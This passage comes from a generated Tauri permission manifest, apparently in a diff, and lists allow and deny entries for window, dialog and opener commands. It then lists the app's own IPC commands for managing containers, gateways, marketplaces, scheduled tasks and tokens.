scope.","commands":{"allow":[],"deny":["set_cursor_grab"]}},"deny-set-cursor-icon":{"identifier":"deny-set-cursor-icon","description":"Denies the set_cursor_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_icon"]}},"deny-set-cursor-position":{"identifier":"deny-set-cursor-position","description":"Denies the set_cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_position"]}},"deny-set-cursor-visible":{"identifier":"deny-set-cursor-visible","description":"Denies the set_cursor_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_visible"]}},"deny-set-decorations":{"identifier":"deny-set-decorations","description":"Denies the set_decorations command without any pre-configured scope.","commands":{"allow":[],"deny":["set_decorations"]}},"deny-set-effects":{"identifier":"deny-set-effects","description":"Denies the set_effects command without any pre-configured scope.","commands":{"allow":[],"deny":["set_effects"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-focus":{"identifier":"deny-set-focus","description":"Denies the set_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focus"]}},"deny-set-focusable":{"identifier":"deny-set-focusable","description":"Denies the set_focusable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focusable"]}},"deny-set-fullscreen":{"identifier":"deny-set-fullscreen","description":"Denies the set_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_fullscreen"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-ignore-cursor-events":{"identifier":"deny-set-ignore-cursor-events","description":"Denies the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":[],"deny":["set_ignore_cursor_events"]}},"deny-set-max-size":{"identifier":"deny-set-max-size","description":"Denies the set_max_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_max_size"]}},"deny-set-maximizable":{"identifier":"deny-set-maximizable","description":"Denies the set_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_maximizable"]}},"deny-set-min-size":{"identifier":"deny-set-min-size","description":"Denies the set_min_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_min_size"]}},"deny-set-minimizable":{"identifier":"deny-set-minimizable","description":"Denies the set_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_minimizable"]}},"deny-set-overlay-icon":{"identifier":"deny-set-overlay-icon","description":"Denies the set_overlay_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_overlay_icon"]}},"deny-set-position":{"identifier":"deny-set-position","description":"Denies the set_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_position"]}},"deny-set-progress-bar":{"identifier":"deny-set-progress-bar","description":"Denies the set_progress_bar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_progress_bar"]}},"deny-set-resizable":{"identifier":"deny-set-resizable","description":"Denies the set_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_resizable"]}},"deny-set-shadow":{"identifier":"deny-set-shadow","description":"Denies the set_shadow command without any pre-configured scope.","commands":{"allow":[],"deny":["set_shadow"]}},"deny-set-simple-fullscreen":{"identifier":"deny-set-simple-fullscreen","description":"Denies the set_simple_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_simple_fullscreen"]}},"deny-set-size":{"identifier":"deny-set-size","description":"Denies the set_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size"]}},"deny-set-size-constraints":{"identifier":"deny-set-size-constraints","description":"Denies the set_size_constraints command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size_constraints"]}},"deny-set-skip-taskbar":{"identifier":"deny-set-skip-taskbar","description":"Denies the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_skip_taskbar"]}},"deny-set-theme":{"identifier":"deny-set-theme","description":"Denies the set_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_theme"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-title-bar-style":{"identifier":"deny-set-title-bar-style","description":"Denies the set_title_bar_style command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title_bar_style"]}},"deny-set-visible-on-all-workspaces":{"identifier":"deny-set-visible-on-all-workspaces","description":"Denies the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible_on_all_workspaces"]}},"deny-show":{"identifier":"deny-show","description":"Denies the show command without any pre-configured scope.","commands":{"allow":[],"deny":["show"]}},"deny-start-dragging":{"identifier":"deny-start-dragging","description":"Denies the start_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_dragging"]}},"deny-start-resize-dragging":{"identifier":"deny-start-resize-dragging","description":"Denies the start_resize_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_resize_dragging"]}},"deny-theme":{"identifier":"deny-theme","description":"Denies the theme command without any pre-configured scope.","commands":{"allow":[],"deny":["theme"]}},"deny-title":{"identifier":"deny-title","description":"Denies the title command without any pre-configured scope.","commands":{"allow":[],"deny":["title"]}},"deny-toggle-maximize":{"identifier":"deny-toggle-maximize","description":"Denies the toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["toggle_maximize"]}},"deny-unmaximize":{"identifier":"deny-unmaximize","description":"Denies the unmaximize command without any pre-configured scope.","commands":{"allow":[],"deny":["unmaximize"]}},"deny-unminimize":{"identifier":"deny-unminimize","description":"Denies the unminimize command without any pre-configured scope.","commands":{"allow":[],"deny":["unminimize"]}}},"permission_sets":{},"global_scope_schema":null},"dialog":{"default_permission":{"identifier":"default","description":"This permission set configures the types of dialogs\navailable from the dialog plugin.\n\n#### Granted Permissions\n\nAll dialog types are enabled.\n\n\n","permissions":["allow-message","allow-save","allow-open"]},"permissions":{"allow-ask":{"identifier":"allow-ask","description":"Enables the ask command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `allow-message` and will be removed in v3)","commands":{"allow":["message"],"deny":[]}},"allow-confirm":{"identifier":"allow-confirm","description":"Enables the confirm command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `allow-message` and will be removed in v3)","commands":{"allow":["message"],"deny":[]}},"allow-message":{"identifier":"allow-message","description":"Enables the message command without any pre-configured scope.","commands":{"allow":["message"],"deny":[]}},"allow-open":{"identifier":"allow-open","description":"Enables the open command without any pre-configured scope.","commands":{"allow":["open"],"deny":[]}},"allow-save":{"identifier":"allow-save","description":"Enables the save command without any pre-configured scope.","commands":{"allow":["save"],"deny":[]}},"deny-ask":{"identifier":"deny-ask","description":"Denies the ask command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `deny-message` and will be removed in v3)","commands":{"allow":[],"deny":["message"]}},"deny-confirm":{"identifier":"deny-confirm","description":"Denies the confirm command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `deny-message` and will be removed in v3)","commands":{"allow":[],"deny":["message"]}},"deny-message":{"identifier":"deny-message","description":"Denies the message command without any pre-configured scope.","commands":{"allow":[],"deny":["message"]}},"deny-open":{"identifier":"deny-open","description":"Denies the open command without any pre-configured scope.","commands":{"allow":[],"deny":["open"]}},"deny-save":{"identifier":"deny-save","description":"Denies the save command without any pre-configured scope.","commands":{"allow":[],"deny":["save"]}}},"permission_sets":{},"global_scope_schema":null},"opener":{"default_permission":{"identifier":"default","description":"This permission set allows opening `mailto:`, `tel:`, `https://` and `http://` urls using their default application\nas well as reveal file in directories using default file explorer","permissions":["allow-open-url","allow-reveal-item-in-dir","allow-default-urls"]},"permissions":{"allow-default-urls":{"identifier":"allow-default-urls","description":"This enables opening `mailto:`, `tel:`, `https://` and `http://` urls using their default application.","commands":{"allow":[],"deny":[]},"scope":{"allow":[{"url":"mailto:*"},{"url":"tel:*"},{"url":"http://*"},{"url":"https://*"}]}},"allow-open-path":{"identifier":"allow-open-path","description":"Enables the open_path command without any pre-configured scope.","commands":{"allow":["open_path"],"deny":[]}},"allow-open-url":{"identifier":"allow-open-url","description":"Enables the open_url command without any pre-configured scope.","commands":{"allow":["open_url"],"deny":[]}},"allow-reveal-item-in-dir":{"identifier":"allow-reveal-item-in-dir","description":"Enables the reveal_item_in_dir command without any pre-configured scope.","commands":{"allow":["reveal_item_in_dir"],"deny":[]}},"deny-open-path":{"identifier":"deny-open-path","description":"Denies the open_path command without any pre-configured scope.","commands":{"allow":[],"deny":["open_path"]}},"deny-open-url":{"identifier":"deny-open-url","description":"Denies the open_url command without any pre-configured scope.","commands":{"allow":[],"deny":["open_url"]}},"deny-reveal-item-in-dir":{"identifier":"deny-reveal-item-in-dir","description":"Denies the reveal_item_in_dir command without any pre-configured scope.","commands":{"allow":[],"deny":["reveal_item_in_dir"]}}},"permission_sets":{},"global_scope_schema":{"$schema":"http://json-schema.org/draft-07/schema#","anyOf":[{"properties":{"app":{"allOf":[{"$ref":"#/definitions/Application"}],"description":"An application to open this url with, for example: firefox."},"url":{"description":"A URL that can be opened by the webview when using the Opener APIs.\n\nWildcards can be used following the UNIX glob pattern.\n\nExamples:\n\n- \"https://*\" : allows all HTTPS origin\n\n- \"https://*.github.com/tauri-apps/tauri\": allows any subdomain of \"github.com\" with the \"tauri-apps/api\" path\n\n- \"https://myapi.service.com/users/*\": allows access to any URLs that begins with \"https://myapi.service.com/users/\"","type":"string"}},"required":["url"],"type":"object"},{"properties":{"app":{"allOf":[{"$ref":"#/definitions/Application"}],"description":"An application to open this path with, for example: xdg-open."},"path":{"description":"A path that can be opened by the webview when using the Opener APIs.\n\nThe pattern can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$APP`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.","type":"string"}},"required":["path"],"type":"object"}],"definitions":{"Application":{"anyOf":[{"description":"Open in default application.","type":"null"},{"description":"If true, allow open with any application.","type":"boolean"},{"description":"Allow specific application to open with.","type":"string"}],"description":"Opener scope application."}},"description":"Opener scope entry.","title":"OpenerScopeEntry"}}} \ No newline at end of file +{"__app-acl__":{"default_permission":null,"permissions":{"allow-acquire-claude-token":{"identifier":"allow-acquire-claude-token","description":"Enables the acquire_claude_token command without any pre-configured scope.","commands":{"allow":["acquire_claude_token"],"deny":[]}},"allow-add-marketplace":{"identifier":"allow-add-marketplace","description":"Enables the add_marketplace command without any pre-configured scope.","commands":{"allow":["add_marketplace"],"deny":[]}},"allow-add-marketplace-gh-host-account":{"identifier":"allow-add-marketplace-gh-host-account","description":"Enables the add_marketplace_gh_host_account command without any pre-configured scope.","commands":{"allow":["add_marketplace_gh_host_account"],"deny":[]}},"allow-add-marketplace-token-account":{"identifier":"allow-add-marketplace-token-account","description":"Enables the add_marketplace_token_account command without any pre-configured scope.","commands":{"allow":["add_marketplace_token_account"],"deny":[]}},"allow-add-project":{"identifier":"allow-add-project","description":"Enables the add_project command without any pre-configured scope.","commands":{"allow":["add_project"],"deny":[]}},"allow-add-scheduled-task":{"identifier":"allow-add-scheduled-task","description":"Enables the add_scheduled_task command without any pre-configured scope.","commands":{"allow":["add_scheduled_task"],"deny":[]}},"allow-apply-marketplace-now":{"identifier":"allow-apply-marketplace-now","description":"Enables the apply_marketplace_now command without any pre-configured scope.","commands":{"allow":["apply_marketplace_now"],"deny":[]}},"allow-apply-settings-import":{"identifier":"allow-apply-settings-import","description":"Enables the apply_settings_import command without any pre-configured scope.","commands":{"allow":["apply_settings_import"],"deny":[]}},"allow-aws-sso-refresh":{"identifier":"allow-aws-sso-refresh","description":"Enables the aws_sso_refresh command without any pre-configured scope.","commands":{"allow":["aws_sso_refresh"],"deny":[]}},"allow-build-gateway-image":{"identifier":"allow-build-gateway-image","description":"Enables the build_gateway_image command without any pre-configured scope.","commands":{"allow":["build_gateway_image"],"deny":[]}},"allow-build-image":{"identifier":"allow-build-image","description":"Enables the build_image command without any pre-configured scope.","commands":{"allow":["build_image"],"deny":[]}},"allow-build-stt-image":{"identifier":"allow-build-stt-image","description":"Enables the build_stt_image command without any pre-configured scope.","commands":{"allow":["build_stt_image"],"deny":[]}},"allow-cancel-claude-token":{"identifier":"allow-cancel-claude-token","description":"Enables the cancel_claude_token command without any pre-configured scope.","commands":{"allow":["cancel_claude_token"],"deny":[]}},"allow-cancel-marketplace-gh-login":{"identifier":"allow-cancel-marketplace-gh-login","description":"Enables the cancel_marketplace_gh_login command without any pre-configured scope.","commands":{"allow":["cancel_marketplace_gh_login"],"deny":[]}},"allow-check-browser-view-support":{"identifier":"allow-check-browser-view-support","description":"Enables the check_browser_view_support command without any pre-configured scope.","commands":{"allow":["check_browser_view_support"],"deny":[]}},"allow-check-docker":{"identifier":"allow-check-docker","description":"Enables the check_docker command without any pre-configured scope.","commands":{"allow":["check_docker"],"deny":[]}},"allow-check-for-updates":{"identifier":"allow-check-for-updates","description":"Enables the check_for_updates command without any pre-configured scope.","commands":{"allow":["check_for_updates"],"deny":[]}},"allow-check-gateway-health":{"identifier":"allow-check-gateway-health","description":"Enables the check_gateway_health command without any pre-configured scope.","commands":{"allow":["check_gateway_health"],"deny":[]}},"allow-check-image-exists":{"identifier":"allow-check-image-exists","description":"Enables the check_image_exists command without any pre-configured scope.","commands":{"allow":["check_image_exists"],"deny":[]}},"allow-check-image-update":{"identifier":"allow-check-image-update","description":"Enables the check_image_update command without any pre-configured scope.","commands":{"allow":["check_image_update"],"deny":[]}},"allow-clear-claude-token":{"identifier":"allow-clear-claude-token","description":"Enables the clear_claude_token command without any pre-configured scope.","commands":{"allow":["clear_claude_token"],"deny":[]}},"allow-clear-gateway-api-key":{"identifier":"allow-clear-gateway-api-key","description":"Enables the clear_gateway_api_key command without any pre-configured scope.","commands":{"allow":["clear_gateway_api_key"],"deny":[]}},"allow-clear-scheduler-notifications":{"identifier":"allow-clear-scheduler-notifications","description":"Enables the clear_scheduler_notifications command without any pre-configured scope.","commands":{"allow":["clear_scheduler_notifications"],"deny":[]}},"allow-close-browser-view-popout":{"identifier":"allow-close-browser-view-popout","description":"Enables the close_browser_view_popout command without any pre-configured scope.","commands":{"allow":["close_browser_view_popout"],"deny":[]}},"allow-close-container-page":{"identifier":"allow-close-container-page","description":"Enables the close_container_page command without any pre-configured scope.","commands":{"allow":["close_container_page"],"deny":[]}},"allow-close-terminal-session":{"identifier":"allow-close-terminal-session","description":"Enables the close_terminal_session command without any pre-configured scope.","commands":{"allow":["close_terminal_session"],"deny":[]}},"allow-confirm-migration":{"identifier":"allow-confirm-migration","description":"Enables the confirm_migration command without any pre-configured scope.","commands":{"allow":["confirm_migration"],"deny":[]}},"allow-create-container-directory":{"identifier":"allow-create-container-directory","description":"Enables the create_container_directory command without any pre-configured scope.","commands":{"allow":["create_container_directory"],"deny":[]}},"allow-delete-note":{"identifier":"allow-delete-note","description":"Enables the delete_note command without any pre-configured scope.","commands":{"allow":["delete_note"],"deny":[]}},"allow-detect-aws-config":{"identifier":"allow-detect-aws-config","description":"Enables the detect_aws_config command without any pre-configured scope.","commands":{"allow":["detect_aws_config"],"deny":[]}},"allow-detect-host-timezone":{"identifier":"allow-detect-host-timezone","description":"Enables the detect_host_timezone command without any pre-configured scope.","commands":{"allow":["detect_host_timezone"],"deny":[]}},"allow-detect-install-options":{"identifier":"allow-detect-install-options","description":"Enables the detect_install_options command without any pre-configured scope.","commands":{"allow":["detect_install_options"],"deny":[]}},"allow-download-container-backup":{"identifier":"allow-download-container-backup","description":"Enables the download_container_backup command without any pre-configured scope.","commands":{"allow":["download_container_backup"],"deny":[]}},"allow-download-container-file":{"identifier":"allow-download-container-file","description":"Enables the download_container_file command without any pre-configured scope.","commands":{"allow":["download_container_file"],"deny":[]}},"allow-export-settings":{"identifier":"allow-export-settings","description":"Enables the export_settings command without any pre-configured scope.","commands":{"allow":["export_settings"],"deny":[]}},"allow-forget-marketplace-installs":{"identifier":"allow-forget-marketplace-installs","description":"Enables the forget_marketplace_installs command without any pre-configured scope.","commands":{"allow":["forget_marketplace_installs"],"deny":[]}},"allow-get-app-version":{"identifier":"allow-get-app-version","description":"Enables the get_app_version command without any pre-configured scope.","commands":{"allow":["get_app_version"],"deny":[]}},"allow-get-auth-bridge-status":{"identifier":"allow-get-auth-bridge-status","description":"Enables the get_auth_bridge_status command without any pre-configured scope.","commands":{"allow":["get_auth_bridge_status"],"deny":[]}},"allow-get-browser-view-match-window":{"identifier":"allow-get-browser-view-match-window","description":"Enables the get_browser_view_match_window command without any pre-configured scope.","commands":{"allow":["get_browser_view_match_window"],"deny":[]}},"allow-get-browser-view-popout-state":{"identifier":"allow-get-browser-view-popout-state","description":"Enables the get_browser_view_popout_state command without any pre-configured scope.","commands":{"allow":["get_browser_view_popout_state"],"deny":[]}},"allow-get-browser-view-status":{"identifier":"allow-get-browser-view-status","description":"Enables the get_browser_view_status command without any pre-configured scope.","commands":{"allow":["get_browser_view_status"],"deny":[]}},"allow-get-container-info":{"identifier":"allow-get-container-info","description":"Enables the get_container_info command without any pre-configured scope.","commands":{"allow":["get_container_info"],"deny":[]}},"allow-get-container-page-state":{"identifier":"allow-get-container-page-state","description":"Enables the get_container_page_state command without any pre-configured scope.","commands":{"allow":["get_container_page_state"],"deny":[]}},"allow-get-container-staleness":{"identifier":"allow-get-container-staleness","description":"Enables the get_container_staleness command without any pre-configured scope.","commands":{"allow":["get_container_staleness"],"deny":[]}},"allow-get-gateway-auth-token":{"identifier":"allow-get-gateway-auth-token","description":"Enables the get_gateway_auth_token command without any pre-configured scope.","commands":{"allow":["get_gateway_auth_token"],"deny":[]}},"allow-get-gateway-status":{"identifier":"allow-get-gateway-status","description":"Enables the get_gateway_status command without any pre-configured scope.","commands":{"allow":["get_gateway_status"],"deny":[]}},"allow-get-help-content":{"identifier":"allow-get-help-content","description":"Enables the get_help_content command without any pre-configured scope.","commands":{"allow":["get_help_content"],"deny":[]}},"allow-get-marketplace-sync-report":{"identifier":"allow-get-marketplace-sync-report","description":"Enables the get_marketplace_sync_report command without any pre-configured scope.","commands":{"allow":["get_marketplace_sync_report"],"deny":[]}},"allow-get-migration-state":{"identifier":"allow-get-migration-state","description":"Enables the get_migration_state command without any pre-configured scope.","commands":{"allow":["get_migration_state"],"deny":[]}},"allow-get-scheduled-task-log":{"identifier":"allow-get-scheduled-task-log","description":"Enables the get_scheduled_task_log command without any pre-configured scope.","commands":{"allow":["get_scheduled_task_log"],"deny":[]}},"allow-get-scheduler-notifications":{"identifier":"allow-get-scheduler-notifications","description":"Enables the get_scheduler_notifications command without any pre-configured scope.","commands":{"allow":["get_scheduler_notifications"],"deny":[]}},"allow-get-settings":{"identifier":"allow-get-settings","description":"Enables the get_settings command without any pre-configured scope.","commands":{"allow":["get_settings"],"deny":[]}},"allow-get-stt-status":{"identifier":"allow-get-stt-status","description":"Enables the get_stt_status command without any pre-configured scope.","commands":{"allow":["get_stt_status"],"deny":[]}},"allow-get-web-terminal-status":{"identifier":"allow-get-web-terminal-status","description":"Enables the get_web_terminal_status command without any pre-configured scope.","commands":{"allow":["get_web_terminal_status"],"deny":[]}},"allow-has-claude-token":{"identifier":"allow-has-claude-token","description":"Enables the has_claude_token command without any pre-configured scope.","commands":{"allow":["has_claude_token"],"deny":[]}},"allow-inspect-ca-cert-path":{"identifier":"allow-inspect-ca-cert-path","description":"Enables the inspect_ca_cert_path command without any pre-configured scope.","commands":{"allow":["inspect_ca_cert_path"],"deny":[]}},"allow-install-browser-view-browser":{"identifier":"allow-install-browser-view-browser","description":"Enables the install_browser_view_browser command without any pre-configured scope.","commands":{"allow":["install_browser_view_browser"],"deny":[]}},"allow-install-browser-view-support":{"identifier":"allow-install-browser-view-support","description":"Enables the install_browser_view_support command without any pre-configured scope.","commands":{"allow":["install_browser_view_support"],"deny":[]}},"allow-install-marketplace-item":{"identifier":"allow-install-marketplace-item","description":"Enables the install_marketplace_item command without any pre-configured scope.","commands":{"allow":["install_marketplace_item"],"deny":[]}},"allow-list-aws-profiles":{"identifier":"allow-list-aws-profiles","description":"Enables the list_aws_profiles command without any pre-configured scope.","commands":{"allow":["list_aws_profiles"],"deny":[]}},"allow-list-claude-sessions":{"identifier":"allow-list-claude-sessions","description":"Enables the list_claude_sessions command without any pre-configured scope.","commands":{"allow":["list_claude_sessions"],"deny":[]}},"allow-list-container-capabilities":{"identifier":"allow-list-container-capabilities","description":"Enables the list_container_capabilities command without any pre-configured scope.","commands":{"allow":["list_container_capabilities"],"deny":[]}},"allow-list-container-files":{"identifier":"allow-list-container-files","description":"Enables the list_container_files command without any pre-configured scope.","commands":{"allow":["list_container_files"],"deny":[]}},"allow-list-marketplace-snapshots":{"identifier":"allow-list-marketplace-snapshots","description":"Enables the list_marketplace_snapshots command without any pre-configured scope.","commands":{"allow":["list_marketplace_snapshots"],"deny":[]}},"allow-list-marketplace-updates":{"identifier":"allow-list-marketplace-updates","description":"Enables the list_marketplace_updates command without any pre-configured scope.","commands":{"allow":["list_marketplace_updates"],"deny":[]}},"allow-list-notes":{"identifier":"allow-list-notes","description":"Enables the list_notes command without any pre-configured scope.","commands":{"allow":["list_notes"],"deny":[]}},"allow-list-projects":{"identifier":"allow-list-projects","description":"Enables the list_projects command without any pre-configured scope.","commands":{"allow":["list_projects"],"deny":[]}},"allow-list-scheduled-tasks":{"identifier":"allow-list-scheduled-tasks","description":"Enables the list_scheduled_tasks command without any pre-configured scope.","commands":{"allow":["list_scheduled_tasks"],"deny":[]}},"allow-marketplace-gh-host-available":{"identifier":"allow-marketplace-gh-host-available","description":"Enables the marketplace_gh_host_available command without any pre-configured scope.","commands":{"allow":["marketplace_gh_host_available"],"deny":[]}},"allow-marketplace-item-diff":{"identifier":"allow-marketplace-item-diff","description":"Enables the marketplace_item_diff command without any pre-configured scope.","commands":{"allow":["marketplace_item_diff"],"deny":[]}},"allow-migrate-project-to-base":{"identifier":"allow-migrate-project-to-base","description":"Enables the migrate_project_to_base command without any pre-configured scope.","commands":{"allow":["migrate_project_to_base"],"deny":[]}},"allow-open-browser-view-popout":{"identifier":"allow-open-browser-view-popout","description":"Enables the open_browser_view_popout command without any pre-configured scope.","commands":{"allow":["open_browser_view_popout"],"deny":[]}},"allow-open-file-viewer":{"identifier":"allow-open-file-viewer","description":"Enables the open_file_viewer command without any pre-configured scope.","commands":{"allow":["open_file_viewer"],"deny":[]}},"allow-open-page-in-container-browser":{"identifier":"allow-open-page-in-container-browser","description":"Enables the open_page_in_container_browser command without any pre-configured scope.","commands":{"allow":["open_page_in_container_browser"],"deny":[]}},"allow-open-terminal-session":{"identifier":"allow-open-terminal-session","description":"Enables the open_terminal_session command without any pre-configured scope.","commands":{"allow":["open_terminal_session"],"deny":[]}},"allow-open-url-external":{"identifier":"allow-open-url-external","description":"Enables the open_url_external command without any pre-configured scope.","commands":{"allow":["open_url_external"],"deny":[]}},"allow-paste-image-to-terminal":{"identifier":"allow-paste-image-to-terminal","description":"Enables the paste_image_to_terminal command without any pre-configured scope.","commands":{"allow":["paste_image_to_terminal"],"deny":[]}},"allow-preview-settings-import":{"identifier":"allow-preview-settings-import","description":"Enables the preview_settings_import command without any pre-configured scope.","commands":{"allow":["preview_settings_import"],"deny":[]}},"allow-pull-gateway-image":{"identifier":"allow-pull-gateway-image","description":"Enables the pull_gateway_image command without any pre-configured scope.","commands":{"allow":["pull_gateway_image"],"deny":[]}},"allow-pull-image":{"identifier":"allow-pull-image","description":"Enables the pull_image command without any pre-configured scope.","commands":{"allow":["pull_image"],"deny":[]}},"allow-pull-stt-image":{"identifier":"allow-pull-stt-image","description":"Enables the pull_stt_image command without any pre-configured scope.","commands":{"allow":["pull_stt_image"],"deny":[]}},"allow-read-container-file":{"identifier":"allow-read-container-file","description":"Enables the read_container_file command without any pre-configured scope.","commands":{"allow":["read_container_file"],"deny":[]}},"allow-rebuild-project-container":{"identifier":"allow-rebuild-project-container","description":"Enables the rebuild_project_container command without any pre-configured scope.","commands":{"allow":["rebuild_project_container"],"deny":[]}},"allow-reconcile-project-statuses":{"identifier":"allow-reconcile-project-statuses","description":"Enables the reconcile_project_statuses command without any pre-configured scope.","commands":{"allow":["reconcile_project_statuses"],"deny":[]}},"allow-refresh-marketplaces":{"identifier":"allow-refresh-marketplaces","description":"Enables the refresh_marketplaces command without any pre-configured scope.","commands":{"allow":["refresh_marketplaces"],"deny":[]}},"allow-regenerate-gateway-auth-token":{"identifier":"allow-regenerate-gateway-auth-token","description":"Enables the regenerate_gateway_auth_token command without any pre-configured scope.","commands":{"allow":["regenerate_gateway_auth_token"],"deny":[]}},"allow-regenerate-web-terminal-token":{"identifier":"allow-regenerate-web-terminal-token","description":"Enables the regenerate_web_terminal_token command without any pre-configured scope.","commands":{"allow":["regenerate_web_terminal_token"],"deny":[]}},"allow-remove-marketplace":{"identifier":"allow-remove-marketplace","description":"Enables the remove_marketplace command without any pre-configured scope.","commands":{"allow":["remove_marketplace"],"deny":[]}},"allow-remove-marketplace-account":{"identifier":"allow-remove-marketplace-account","description":"Enables the remove_marketplace_account command without any pre-configured scope.","commands":{"allow":["remove_marketplace_account"],"deny":[]}},"allow-remove-project":{"identifier":"allow-remove-project","description":"Enables the remove_project command without any pre-configured scope.","commands":{"allow":["remove_project"],"deny":[]}},"allow-remove-scheduled-task":{"identifier":"allow-remove-scheduled-task","description":"Enables the remove_scheduled_task command without any pre-configured scope.","commands":{"allow":["remove_scheduled_task"],"deny":[]}},"allow-rename-container-path":{"identifier":"allow-rename-container-path","description":"Enables the rename_container_path command without any pre-configured scope.","commands":{"allow":["rename_container_path"],"deny":[]}},"allow-resume-session-command":{"identifier":"allow-resume-session-command","description":"Enables the resume_session_command command without any pre-configured scope.","commands":{"allow":["resume_session_command"],"deny":[]}},"allow-rollback-migration":{"identifier":"allow-rollback-migration","description":"Enables the rollback_migration command without any pre-configured scope.","commands":{"allow":["rollback_migration"],"deny":[]}},"allow-run-docker-install":{"identifier":"allow-run-docker-install","description":"Enables the run_docker_install command without any pre-configured scope.","commands":{"allow":["run_docker_install"],"deny":[]}},"allow-run-scheduled-task-now":{"identifier":"allow-run-scheduled-task-now","description":"Enables the run_scheduled_task_now command without any pre-configured scope.","commands":{"allow":["run_scheduled_task_now"],"deny":[]}},"allow-save-note":{"identifier":"allow-save-note","description":"Enables the save_note command without any pre-configured scope.","commands":{"allow":["save_note"],"deny":[]}},"allow-send-audio-data":{"identifier":"allow-send-audio-data","description":"Enables the send_audio_data command without any pre-configured scope.","commands":{"allow":["send_audio_data"],"deny":[]}},"allow-set-auth-bridge-enabled":{"identifier":"allow-set-auth-bridge-enabled","description":"Enables the set_auth_bridge_enabled command without any pre-configured scope.","commands":{"allow":["set_auth_bridge_enabled"],"deny":[]}},"allow-set-browser-view-enabled":{"identifier":"allow-set-browser-view-enabled","description":"Enables the set_browser_view_enabled command without any pre-configured scope.","commands":{"allow":["set_browser_view_enabled"],"deny":[]}},"allow-set-browser-view-match-window":{"identifier":"allow-set-browser-view-match-window","description":"Enables the set_browser_view_match_window command without any pre-configured scope.","commands":{"allow":["set_browser_view_match_window"],"deny":[]}},"allow-set-browser-view-popout-always-on-top":{"identifier":"allow-set-browser-view-popout-always-on-top","description":"Enables the set_browser_view_popout_always_on_top command without any pre-configured scope.","commands":{"allow":["set_browser_view_popout_always_on_top"],"deny":[]}},"allow-set-container-page-viewport":{"identifier":"allow-set-container-page-viewport","description":"Enables the set_container_page_viewport command without any pre-configured scope.","commands":{"allow":["set_container_page_viewport"],"deny":[]}},"allow-set-gateway-api-key":{"identifier":"allow-set-gateway-api-key","description":"Enables the set_gateway_api_key command without any pre-configured scope.","commands":{"allow":["set_gateway_api_key"],"deny":[]}},"allow-set-global-item-disabled":{"identifier":"allow-set-global-item-disabled","description":"Enables the set_global_item_disabled command without any pre-configured scope.","commands":{"allow":["set_global_item_disabled"],"deny":[]}},"allow-set-scheduled-task-enabled":{"identifier":"allow-set-scheduled-task-enabled","description":"Enables the set_scheduled_task_enabled command without any pre-configured scope.","commands":{"allow":["set_scheduled_task_enabled"],"deny":[]}},"allow-start-audio-bridge":{"identifier":"allow-start-audio-bridge","description":"Enables the start_audio_bridge command without any pre-configured scope.","commands":{"allow":["start_audio_bridge"],"deny":[]}},"allow-start-gateway":{"identifier":"allow-start-gateway","description":"Enables the start_gateway command without any pre-configured scope.","commands":{"allow":["start_gateway"],"deny":[]}},"allow-start-marketplace-gh-container-login":{"identifier":"allow-start-marketplace-gh-container-login","description":"Enables the start_marketplace_gh_container_login command without any pre-configured scope.","commands":{"allow":["start_marketplace_gh_container_login"],"deny":[]}},"allow-start-project-container":{"identifier":"allow-start-project-container","description":"Enables the start_project_container command without any pre-configured scope.","commands":{"allow":["start_project_container"],"deny":[]}},"allow-start-stt":{"identifier":"allow-start-stt","description":"Enables the start_stt command without any pre-configured scope.","commands":{"allow":["start_stt"],"deny":[]}},"allow-start-web-terminal":{"identifier":"allow-start-web-terminal","description":"Enables the start_web_terminal command without any pre-configured scope.","commands":{"allow":["start_web_terminal"],"deny":[]}},"allow-stop-audio-bridge":{"identifier":"allow-stop-audio-bridge","description":"Enables the stop_audio_bridge command without any pre-configured scope.","commands":{"allow":["stop_audio_bridge"],"deny":[]}},"allow-stop-gateway":{"identifier":"allow-stop-gateway","description":"Enables the stop_gateway command without any pre-configured scope.","commands":{"allow":["stop_gateway"],"deny":[]}},"allow-stop-project-container":{"identifier":"allow-stop-project-container","description":"Enables the stop_project_container command without any pre-configured 